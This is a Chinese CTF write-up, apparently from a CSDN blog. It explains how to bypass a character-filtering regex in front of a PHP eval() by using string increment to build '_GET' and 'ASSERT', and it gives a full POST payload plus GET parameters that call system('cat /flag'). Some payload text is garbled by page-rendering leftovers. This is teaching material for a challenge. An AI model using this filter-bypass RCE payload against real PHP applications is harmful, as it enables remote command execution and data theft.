• PHP自增构造_GET


    源码:

    1. error_reporting(0);
    2. if ($_GET['secret']){
    3. highlight_file(__FILE__);
    4. }else{
    5. setcookie("hint", "?secret", time()+3600);
    6. }
    7. if (isset($_POST['hh'])) {
    8. $hh = $_POST['hh'];
    9. if (is_string($hh) || strlen($hh) <= 107) {
    10. if (!preg_match("/[!@#%^&*:'\"|`a-zB-Z~\\\\]|[2-5]/",$hh)){
    11. eval($hh);
    12. }else{
    13. echo("no! hacker!!");
    14. }
    15. }
    16. } else {
    17. phpinfo();
    18. }

    查看正则匹配还剩的东西:

    1. for($a = 0; $a < 256; $a++){
    2. if (!preg_match("/[!@#%^&*:'\"|`a-zB-Z~\\\\]|[2-5]/", chr($a))){
    3. echo chr($a)." ";
    4. }
    5. }
    6. ?>

    只有 1 6 7 8 9 ; < = > ? A [ ] _ { } 可以用了;

    然后要触发eval() 构造rce 就可以通过PHP自增来实现;什么是PHP自增?

    比如 ‘a’++ =b;'c'++=d;

    这就是自增,那么这道题就可以通过A 的自增来得到我们想要的函数

    另外,在php中,当把字符串和数组连接在一起时,最终返回的值是Array

    1. echo ''.[];
    2. //输出 Array

    那么只要取Array中的第一个字母A和第四个字母a,就可以得到A-Z和a-z的所有字母组合。

    1. $_=[];
    2. $_=@"$_"; // $_='Array';
    3. $_=$_['!'=='@']; // $_=$_[0];
    4. $___=$_; // A
    5. $__=$_;
    6. $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
    7. $___.=$__; // S
    8. $___.=$__; // S
    9. $__=$_;
    10. $__++;$__++;$__++;$__++; // E
    11. $___.=$__;
    12. $__=$_;
    13. $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
    14. $___.=$__;
    15. $__=$_;
    16. $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
    17. $___.=$__;
    18. $____='_';
    19. $__=$_;
    20. $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
    21. $____.=$__;
    22. $__=$_;
    23. $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
    24. $____.=$__;
    25. $__=$_;
    26. $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
    27. $____.=$__;
    28. $__=$_;
    29. $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
    30. $____.=$__;
    31. $_=$$____;
    32. $___($_[_]); // ASSERT($_POST[_]);

    这里我们采用A来构造_GET

    1. $_='A';
    2. $_++;
    3. $_++;
    4. $_++;
    5. $A=++$_;
    6. $_++;
    7. $A_=++$_;
    8. $_=('A'/'A'.'A'){0}; //N
    9. $_++; //O
    10. $_++; //P
    11. $_++; //Q
    12. $_++; //R
    13. $_++; //S
    14. $_='_'.$A_.$A.++$_; //_GET
    15. echo $_;
    16. //($$_{1})($$_{2}); //($_GET{1})($_GET{2})

    post传参

    hh=$_=A;$_++;$_++;$_++;$A=++$_;$_++;$A_=++$_;$_=(A/A.A){0};$_++;$_++;$_++;$_++;$_++;$_=_.$A_.$A.++$_;(

    6)(" role="presentation" style="text-align: center; position: relative;">6)(
    _{7});

     但是要经过URL编码传参;

    然后get传

    secret=6&6=system&7=cat /flag

    和system相同的还有passthru

  • 相关阅读:
    辅助驾驶功能开发-功能规范篇(22)-2-L2级辅助驾驶方案功能规范
    【洁洁送书第七期】现在学 Java 找工作还有优势吗
    浅析DispatchProxy动态代理AOP
    异常处理机制(抛出异常、捕获异常)
    git 忽略已经提交的文件或文件夹 (修改.gitignore文件无效)
    Spring Boot之Spring MVC的工作原理 以及使用eclipse开发Spring MVC的Web应用实战(附源码)
    超级玛丽-c++
    性能监控的革命:Eureka引领分布式服务监控新纪元
    低代码如何扛起未来系统开发的大旗
    【STM32快速上手】点灯只需4步
  • 原文地址:https://blog.csdn.net/qq_58970968/article/details/126215305